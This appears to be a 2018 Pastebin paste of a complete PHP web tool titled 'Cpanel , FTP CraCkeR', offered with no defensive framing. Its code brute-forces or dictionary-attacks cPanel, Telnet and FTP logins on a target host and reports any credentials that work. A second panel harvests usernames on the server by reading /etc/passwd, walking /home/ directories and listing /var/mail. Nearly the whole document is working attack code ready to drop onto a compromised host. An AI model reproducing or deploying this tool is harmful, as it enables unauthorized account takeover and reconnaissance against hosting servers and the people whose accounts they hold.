Advertisement
Guest User

cp

a guest
Mar 10th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.28 KB | None | 0 0
  1. <?php
  2. $cpanel_port="2082";
  3. $connect_timeout=5;
  4. set_time_limit(0);
  5. $submit=$_REQUEST['submit'];
  6. $users=$_REQUEST['users'];
  7. $pass=$_REQUEST['passwords'];
  8. $target=$_REQUEST['target'];
  9. $cracktype=$_REQUEST['cracktype'];
  10. if($target == ""){
  11. $target = "localhost";
  12. }
  13. $charset=$_REQUEST['charset'];
  14. if($charset=="")
  15. $charset="lowercase";
  16. $max_length=$_REQUEST['max_length'];
  17. if($max_length=="")
  18. $max_length=10;
  19. $min_length=$_REQUEST['min_length'];
  20. if($min_length=="")
  21. $min_length=1;
  22.  
  23. $charsetall = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  24. $charsetlower = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
  25. $charsetupper = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
  26. $charsetnumeric = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  27. $charsetlowernumeric = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  28. $charsetuppernumeric = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  29. $charsetletters = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" );
  30. $charsetsymbols= array("!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  31. $charsetlowersymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  32. $charsetuppersymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  33. $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  34. $charsetnumericsymbols = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  35. $charsetlowernumericsymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  36. $charsetuppernumericsymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  37. $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
  38. $charsetlettersnumericsymbols=array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_","0", "1", "2", "3", "4", "5", "6", "7", "8", "9" );
  39. if ($charset == "all")
  40. $vals = $charsetall;
  41. elseif ($charset == "lowercase")
  42. $vals = $charsetlower;
  43. elseif ($charset == "uppercase")
  44. $vals = $charsetupper;
  45. elseif ($charset == "numeric")
  46. $vals = $charsetnumeric;
  47. elseif ($charset == "lowernumeric")
  48. $vals = $charsetlowernumeric;
  49. elseif ($charset == "uppernumeric")
  50. $vals = $charsetuppernumeric;
  51. elseif ($charset == "letters")
  52. $vals = $charsetletters;
  53. elseif ($charset == "symbols")
  54. $vals = $charsetsymbols;
  55. elseif ($charset == "lowersymbols")
  56. $vals = $charsetlowersymbols;
  57. elseif ($charset == "uppersymbols")
  58. $vals = $charsetuppersymbols;
  59. elseif ($charset == "letterssymbols")
  60. $vals = $charsetletterssymbols;
  61. elseif ($charset == "numberssymbols")
  62. $vals = $charsetnumericsymbols;
  63. elseif ($charset == "lowernumericsymbols")
  64. $vals = $charsetlowernumericsymbols;
  65. elseif ($charset == "uppernumericsymbols")
  66. $vals = $charsetuppernumericsymbols;
  67. elseif ($charset == "lettersnumericsymbols")
  68. $vals = $charsetlettersnumericsymbols;
  69. else echo "INVALID CHARSET";
  70. ?>
  71. <html>
  72. <head>
  73. <meta http-equiv="Content-Language" content="en-us">
  74. </head>
  75. <title>Cpanel , FTP CraCkeR</title>
  76. <body text="#00FF00" bgcolor="#000000" vlink="#008000" link="#008000" alink="#008000">
  77. <div align="center">
  78. <form method="POST" style="border: 1px solid #000000">
  79. <img border="0" src="http://www.alm3refh.com/upload/group/groupxp.gif" width="426" height="169"><table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#003700">
  80. <tr>
  81. <td>
  82. <p align="center"><b><font color="#008000" face="Tahoma" size="2">
  83. <span lang="en-us">IP server</span> :</font><font face="Arial">
  84. </font><font face="Arial" color="#CC0000">
  85. <input type="text" name="target" size="16" value="<?php echo $target ?>" style="border: 2px solid #1D1D1D; background-color: #000000; color:#008000; font-family:Verdana; font-weight:bold; font-size:13px"></font></b></p>
  86. <p align="center"><b><font color="#008000" face="Tahoma" size="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></b></p>
  87. <div align="center">
  88. <table border="1" width="57%" bordercolorlight="#008000" bordercolordark="#003700">
  89. <tr>
  90. <td align="center">
  91. <span lang="en-us"><font color="#FF0000"><b>User List</b></font></span></td>
  92. <td>
  93. <p align="center">
  94. <span lang="en-us"><font color="#FF0000"><b>Password List</b></font></span></td>
  95. </tr>
  96. </table>
  97.  
  98. <p align="center">&nbsp;<textarea rows="20" name="users" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $users ?>
  99. </textarea><textarea rows="20" name="passwords" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $pass ?></textarea><br>
  100. <br>
  101. <font style="font-weight:700" size="2" face="Tahoma" color="#008000">
  102. <span lang="ar-sa">Guess options</span></font><font style="font-size: 12pt;" size="-3" face="Verdana"><span style="font-size: 9pt;">&nbsp;
  103. <font face="Tahoma">
  104. <input name="cracktype" value="cpanel" style="font-weight: 700;" checked type="radio"></font></span></font><b><font size="2" face="Tahoma">
  105. Cpanel</font><font size="2" color="#cc0000" face="Tahoma">
  106. </font><font size="2" color="#FFFFFF" face="Tahoma">
  107. (2082)</font></b><font size="2" face="Tahoma"><b> </b>
  108. </font>
  109. <font style="font-size: 12pt;" size="-3" face="Verdana">
  110. <span style="font-size: 9pt;"><font face="Tahoma">
  111. <input name="cracktype" value="cpanel2" style="font-weight: 700;" type="radio"></font></span></font><b><font size="2" face="Tahoma">
  112. Telnet</font><font size="2" color="#cc0000" face="Tahoma">
  113. </font><font size="2" color="#FFFFFF" face="Tahoma">
  114. (23)</font></b><font size="2" face="Tahoma"><b> </b>
  115. </font>
  116. <font style="font-size: 12pt;" size="-3" face="Verdana">
  117. <span style="font-size: 9pt;"><font face="Tahoma">
  118. <input name="cracktype" value="ftp" style="font-weight: 700;" type="radio"></font></span></font><font style="font-weight: 700;" size="2" face="Tahoma">
  119. </font><span style="font-weight: 700;">
  120. <font size="2" face="Tahoma">Ftp </font>
  121. <font size="2" color="#FFFFFF" face="Tahoma">
  122. (21)</font></span>
  123. <br>
  124. <font style="font-weight:700" size="2" face="Tahoma" color="#008000"><span lang="ar-sa">Timeout delay</span>
  125. <input type="text" name="connect_timeout" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $connect_timeout;?>"></input>
  126. <br>
  127. <input type="checkbox" name="bruteforce" value="true"><font style="font-weight:700" size="2" face="Tahoma" color="#008000"><span lang="ar-sa">Bruteforce</span></input>
  128. <select name="charset" style="border: 2px solid #1D1D1D;background: black;color:RED">
  129. <option value="all">All Letters + Numbers</option>
  130. <option value="numeric">Numbers</option>
  131. <option value="letters">Letters</option>
  132. <option value="symbols">Symbols</option>
  133. <option value="lowercase">Lower Letters</option>
  134. <option value="uppercase">Higher Letters</option>
  135. <option value="lowernumeric">Lower Letters + Numbers</option>
  136. <option value="uppernumeric">Upper Letters + Numbers</option>
  137. <option value="lowersymbols">Lower Letters + Symbols</option>
  138. <option value="uppersymbols">Upper Letters + Symbols</option>
  139. <option value="letterssymbols">All Letters + Symbols</option>
  140. <option value="numberssymbols">Numbers + Symbols</option>
  141. <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
  142. <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
  143. <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
  144.  
  145. </select>
  146. <br>
  147. <font style="font-weight:700" size="2" face="Tahoma" color="#008000"><span lang="ar-sa">Min Bruteforce Length:</span></font>
  148. <input type="text" name="min_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $min_length;?>"></input>
  149. <br>
  150. <font style="font-weight:700" size="2" face="Tahoma" color="#008000"><span lang="ar-sa">Max Bruteforce Length:</span></font>
  151. <input type="text" name="max_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $max_length;?>"></input>
  152. </p>
  153. <p align="center">&nbsp;&nbsp;&nbsp;&nbsp;
  154. <input type="submit" value="Go" name="submit" style="color: #008000; font-weight: bold; border: 1px solid #333333; background-color: #000000"></p>
  155. </td>
  156. </tr>
  157. </table>
  158.  
  159. <p align="center"></td>
  160. </tr>
  161. </form>
  162.  
  163. <?php
  164. function brute()
  165. {
  166. global $vals,$min_length,$max_length;
  167. global $target,$pureuser,$connect_timeout;
  168. $min=$min_length;
  169. $max=$max_length;
  170. $A = array();
  171. $numVals = count($vals);
  172. $incDone = "";
  173. $realMax = "";
  174. $currentVal = "";
  175. $firstVal = "";
  176. for ($i = 0; $i < ($max + 1); $i++) {
  177. $A[$i] = -1;
  178. }
  179.  
  180. for ($i = 0; $i < $max; $i++) {
  181. $realMax = $realMax . $vals[$numVals - 1];
  182. }
  183. for ($i = 0; $i < $min; $i++) {
  184. $A[$i] = $vals[0];
  185. }
  186. $i = 0;
  187. while ($A[$i] != -1) {
  188. $firstVal .= $A[$i];
  189. $i++;
  190. }
  191. //echo $firstVal . "<br>";
  192. cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
  193.  
  194. while (1) {
  195. for ($i = 0; $i < ($max + 1); $i++) {
  196. if ($A[$i] == -1) {
  197. break;
  198. }
  199. }
  200. $i--;
  201. $incDone = 0;
  202. while (!$incDone) {
  203. for ($j = 0; $j < $numVals; $j++) {
  204. if ($A[$i] == $vals[$j]) {
  205. break;
  206. }
  207. }
  208. if ($j == ($numVals - 1)) {
  209. $A[$i] = $vals[0];
  210. $i--;
  211. if ($i < 0) {
  212. for ($i = 0; $i < ($max + 1); $i++) {
  213. if ($A[$i] == -1) {
  214. break;
  215. }
  216. }
  217. $A[$i] = $vals[0];
  218. $A[$i + 1] = -1;
  219. $incDone = 1;
  220. print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking<br>";
  221. }
  222. } else {
  223. $A[$i] = $vals[$j + 1];
  224. $incDone = 1;
  225. }
  226. }
  227. $i = 0;
  228. $currentVal = "";
  229. while ($A[$i] != -1) {
  230. $currentVal = $currentVal . $A[$i];
  231. $i++;
  232. }
  233. cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
  234. //echo $currentVal . "<br>";
  235. if ($currentVal == $realMax) {
  236. return 0;
  237. }
  238. }
  239. }
  240. function getmicrotime() {
  241. list($usec, $sec) = explode(" ",microtime());
  242. return ((float)$usec + (float)$sec);
  243. }
  244.  
  245. function ftp_check($host,$user,$pass,$timeout)
  246. {
  247. $ch = curl_init();
  248. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  249. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  250. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  251. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  252. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  253. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  254. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  255. $data = curl_exec($ch);
  256. if ( curl_errno($ch) == 28 )
  257. {
  258. print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  259. <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  260. Please Check The Target Hostname .</font></font></b></p>";exit;
  261. }
  262. else if ( curl_errno($ch) == 0 )
  263. {
  264. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\" style=\"font-size: 9pt\"><b><font color=\"#008000\">
  265. Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  266. and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  267. }
  268. curl_close($ch);
  269. }
  270. function cpanel_check($host,$user,$pass,$timeout)
  271. {
  272. global $cpanel_port;
  273. $ch = curl_init();
  274. //echo "http://$host:".$cpanel_port." $user $pass<br>";
  275. curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
  276. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  277. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  278. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  279. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  280. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  281. $data = curl_exec($ch);
  282. if ( curl_errno($ch) == 28 )
  283. {
  284. print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  285. <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  286. Please Check The Target Hostname .</font></font></b></p>";exit;
  287. }
  288. else if ( curl_errno($ch) == 0 )
  289. {
  290. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\" style=\"font-size: 9pt\"><b><font color=\"#008000\">
  291. Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  292. and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  293. }
  294. curl_close($ch);
  295. }
  296.  
  297. $time_start = getmicrotime();
  298.  
  299. if(isset($submit) && !empty($submit))
  300. {
  301. if(empty($users) && empty($pass) )
  302. {
  303. print "<p><font face=\"Tahoma\" size=\"2\"><b><font color=\"#FF0000\">Error : </font>Please Check The Users or Password List Entry . . .</b></font></p>"; exit; }
  304. if(empty($users)){ print "<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users List Entry . . .</b></font></p>"; exit; }
  305. if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Password List Entry . . .</b></font></p>"; exit; };
  306. $userlist=explode("\n",$users);
  307. $passlist=explode("\n",$pass);
  308. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#FF0000\">
  309. Cracking Process Started, Please Wait ...</font></b><br><br>";
  310.  
  311. if(isset($_POST['connect_timeout']))
  312. {
  313. $connect_timeout=$_POST['connect_timeout'];
  314. }
  315.  
  316. if($cracktype == "ftp")
  317. {
  318. foreach ($userlist as $user)
  319. {
  320. $pureuser = trim($user);
  321. foreach ($passlist as $password )
  322. {
  323. $purepass = trim($password);
  324. ftp_check($target,$pureuser,$purepass,$connect_timeout);
  325. }
  326. }
  327. }
  328.  
  329. if ($cracktype == "cpanel" || $cracktype == "cpanel2")
  330. {
  331. if($cracktype == "cpanel2")
  332. {
  333. $cpanel_port="23";
  334. }
  335. else
  336. $cpanel_port="2082";
  337.  
  338. foreach ($userlist as $user)
  339. {
  340. $pureuser = trim($user);
  341. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#FF0800\">
  342. Processing user $pureuser ... </font></b>";
  343. if($_POST['bruteforce']=="true")
  344. {
  345. echo " bruteforcing ..";
  346. echo "<br>";
  347. brute();
  348. }
  349. else
  350. {
  351. echo "<br>";
  352. foreach ($passlist as $password )
  353. {
  354. $purepass = trim($password);
  355. cpanel_check($target,$pureuser,$purepass,$connect_timeout);
  356. }
  357. }
  358. }
  359. $time_end = getmicrotime();
  360. $time = $time_end - $time_start;
  361. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#FF0000\">
  362. Cracking Finished. Elapsed time: $time</font> seconds</b><br><br>";
  363. }
  364. }
  365.  
  366.  
  367.  
  368. ?>
  369.  
  370. <p align="center"><b><a href="http://www.alm3refh.com/vb">
  371. <span style="text-decoration: none">Sunni</span></a></b></p>
  372.  
  373. <form style="border: 0px ridge #FFFFFF">
  374.  
  375.  
  376.  
  377.  
  378. <p align="center"></td>
  379. </tr><div align="center">
  380.  
  381. <tr>
  382.  
  383. </form>
  384.  
  385.  
  386. <div align="center">
  387. <table border="1" width="10%" bordercolorlight="#008000" bordercolordark="#006A00" height="100" cellspacing="1">
  388. <tr>
  389. <td bordercolorlight="#008000" bordercolordark="#006A00">
  390. <p align="left">
  391. <textarea style="border: 2px solid #1D1D1D;background: #200000;color:#CCFFFF" method='POST' rows="25" name="S1" cols="22">
  392.  
  393.  
  394. <?php
  395. if (isset($_GET['user']))
  396. system('ls /var/mail');
  397. if (isset($_POST['grab_users1'])) //grab users from /etc/passwd
  398. {
  399. $lines=file("/etc/passwd");
  400. foreach($lines as $nr=>$val)
  401. {
  402. $str=explode(":",$val);
  403. echo $str[0]."\n";
  404. }
  405.  
  406. }
  407. if (isset($_POST['grab_users2']))
  408. {
  409. $dir = "/home/";
  410. if ($dh = opendir($dir)) {
  411. while (($file = readdir($dh)) !== false) {
  412. echo $file. "\n";
  413. }
  414. closedir($dh);
  415. }
  416. }
  417. ?>
  418. </textarea>
  419. <table>
  420. <tr>
  421. <form action="" method="POST">
  422. <input type="hidden" value="true" name="grab_users1"></input>
  423. <input type=submit value="Grab Usernames from /etc/passwd"></input>
  424. </form>
  425. </tr>
  426. <br>
  427. <tr>
  428. <form action="" method="POST">
  429. <input type="hidden" value="true" name="grab_users2"></input>
  430. <input type=submit value="Grab Usernames from /home/"></input>
  431. </form>
  432. </tr>
  433. <br>
  434. <tr>
  435. <form action="" method="POST">
  436. <input type="hidden" value="true" name="grab_users3"></input>
  437. <input type=submit value="Grab Usernames from /home/ II"></input>
  438. </form>
  439. </tr>
  440. </form>
  441. </table>
  442. <?php
  443. if (isset($_POST['grab_users3']))
  444. {
  445. error_reporting(0);
  446. $dir = "/home/";
  447. if ($dh = opendir($dir))
  448. {
  449. $f = readdir($dh);$f = readdir($dh);
  450. while (($f = readdir($dh)) !== false)
  451. {
  452. //echo $f. "\n";
  453. $f.="/";
  454. $dh2=opendir($dir.$f);
  455. $f2 = readdir($dh2);$f2 = readdir($dh2);
  456. while (($f2 = readdir($dh2)) !== false)
  457. {
  458. //echo $f2. "\n";
  459. $f2.="/";
  460. $dh3=opendir($dir.$f.$f2);
  461. $f3 = readdir($dh3);$f3 = readdir($dh3);
  462. while (($f3 = readdir($dh3)) !== false)
  463. {
  464. echo $f3. "<br>";
  465. }
  466. }
  467.  
  468. }
  469. closedir($dh);
  470. }
  471. }
  472. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement